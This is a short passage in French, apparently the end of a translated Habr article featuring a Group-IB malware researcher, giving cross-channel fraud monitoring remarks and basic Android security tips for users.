Un point fondamentalement important est la disponibilité d'une analyse cross-canal, qui permet aux entreprises de contrôler les risques apparaissant non seulement sur Internet, mais également sur le canal mobile, par exemple dans les applications de banque mobile, pour les transactions avec des crypto-monnaies et tout autre où transaction financière.

Règles de sécurité pour les utilisateurs :

  • n'installez pas d'applications pour un appareil mobile avec OS Android à partir d'une source autre que Google Play, portez une attention particulière aux droits demandés par l'application ;
  • installer régulièrement les mises à jour du système d'exploitation Android ;
  • faites attention aux extensions des fichiers téléchargés ;
  • ne visitez pas les ressources suspectes ;
  • Ne cliquez pas sur les liens reçus dans les messages SMS.

Mettant en vedette Semyon Rogacheva, spécialiste junior de la recherche sur les malwares au laboratoire de criminalistique informatique du Groupe-IB.

Source: habr.com

Ajouter un commentaire